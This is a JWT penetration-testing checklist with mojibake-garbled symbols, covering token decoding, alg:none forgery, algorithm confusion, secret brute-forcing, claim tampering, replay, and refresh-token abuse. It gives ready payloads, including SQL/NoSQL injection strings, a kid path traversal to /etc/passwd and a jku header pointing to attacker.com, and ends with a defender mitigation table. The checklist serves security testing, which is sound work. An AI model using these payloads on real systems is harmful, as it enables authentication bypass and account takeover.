Page 1

πŸ› οΈ πŸ” JWT Penetration Testing Checklist (Fully Detailed) πŸ“˜ 1. πŸ”Ž Basic Enumeration βœ… Test: Token Structure: Is it a JWT? Format: header.payload.signature Decode JWT (Base64): Header: algorithm used? Payload: roles, expiry, userID, admin flag? πŸ“Œ Tools: # Decode manually echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d Or use: https://jwt.io Burp Suite extension: JWT Editor, Hackvertor ⚠️ 2. πŸ”₯ Algorithm-Based Attacks 🧨 a. alg: none attack 🚩 When vulnerable: JWT header: "alg": "none" Server doesn't verify signature πŸ§ͺ Test: Change header to: { "alg": "none", "typ": "JWT" } Remove the signature (or leave it empty). Modify payload (e.g., "admin": true) Base64 encode and send token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZG1pbiI6dHJ1ZX0. βœ… If accepted: Critical vulnerability. 🧨 b. Algorithm Confusion (RS256 β†’ HS256) 🚩 When vulnerable: Server expects asymmetric RS256 (public/private key), but allows symmetric HS256 (HMAC). πŸ§ͺ Test: Change alg to HS256 Use server's public key as the secret key to sign Resign the token with HMAC using public key βœ… If accepted: Server confused symmetric vs. asymmetric algorithms. πŸ“¦ Tools: jwt_tool.py β†’ --exploit alg_none, --exploit alg_hs256 πŸ“† 3. πŸ”’ Signature Key Bruteforce 🧨 a. Weak secret / brute force 🚩 When vulnerable: HS256, HS384, HS512 used with a guessable shared secret. πŸ§ͺ Test: python3 jwt_tool.py <token> -d -S wordlist.txt Or use: jwtcrack.py Burp Suite Intruder + SecLists weak passwords list βœ… If cracked, attacker can forge arbitrary tokens. ⏳ 4. πŸ§ͺ Expiry / Time-Based Attacks βš™οΈ a. Modify exp, nbf, iat fields Try to bypass expiry: { "exp": 9999999999 } Try pre-validating tokens: { "nbf": 0, "iat": 0 } βœ… If server does not verify these fields β†’ logic flaw. 🧍 5. πŸ‘‘ Privilege Escalation 🎯 Target fields like: isAdmin role userid permissions access_level πŸ§ͺ Test: Change payload: { "role": "admin", "userid": 1 } Resign (if possible) or use none/bruteforced key βœ… If access granted β†’ vertical privilege escalation. πŸ”— 6. πŸ”„ Replay Attack πŸ§ͺ Test: Use captured JWT on another account/session See if same token grants access β†’ token not scoped to user βœ… If works β†’ JWT not bound to session/IP/device 🎣 7. πŸͺ Injection in Payload 🧨 a. SQL Injection / NoSQL Injection JWT is used in database queries? Payload: { "username": {"$ne": null} } or { "userid": "1' OR '1'='1" } βœ… If DB logic accepts it β†’ critical injection risk. πŸͺ€ 8. πŸ§ͺ IDOR + JWT 🎯 Use JWT to access other user’s data: { "userid": 1234 } β†’ Try other user IDs βœ… If no access control enforced β†’ Insecure Direct Object Reference. 🧩 9. πŸ“¦ JWT in Cookies / Storage πŸ§ͺ Test: Can you overwrite the cookie? Is the JWT in localStorage or sessionStorage? Vulnerable to XSS? Can you refresh expired tokens? (Look for refresh tokens) βœ… If client has full control β†’ combine with XSS πŸ” 10. Refresh Token Exploits πŸ§ͺ Test: Capture refresh token Try replaying Try CSRF on refresh endpoint Does it return new access token? βœ… If refresh token never expires / is not bound β†’ long-term hijack possible. πŸ’₯ 11. Advanced & Real-World Exploits 🚩 a. Key Disclosure via LFI If the private key is accessible via LFI β†’ attacker can sign own tokens. 🚩 b. Kid Header Injection { "kid": "../../../../../../etc/passwd" } βœ… If used to load keys from disk, this can lead to path traversal + key loading. 🚩 c. JWT in Authorization header (CSRFable) Authorization: Bearer <token> βœ… If the token is used in a header without SameSite protection, you may be able to CSRF it from another origin. 🚩 d. JWK Injection If app supports jku or x5u in JWT header: { "jku": "https://attacker.com/mykey.json" } βœ… If accepted β†’ attacker can inject their key + sign arbitrary tokens. 🧰 Tools & Wordlists πŸ”§ jwt_tool πŸ”§ jwt-cracker πŸ”§ JOSEPH πŸ“‚ Wordlists: SecLists (Passwords, JWT Secrets, etc.) 🧱 Mitigation Cheatsheet (for defenders) Issue Mitigation alg: none Always enforce algorithm server-side Weak secret Use long, random keys (256+ bits) Exp tampering Enforce expiration strictly Forged roles Validate roles on backend Token reuse Use short-lived tokens + refresh flow Key confusion (HS256/RS256) Don’t allow multiple algs Kid/path injections Use static key loading, not dynamic

Last updated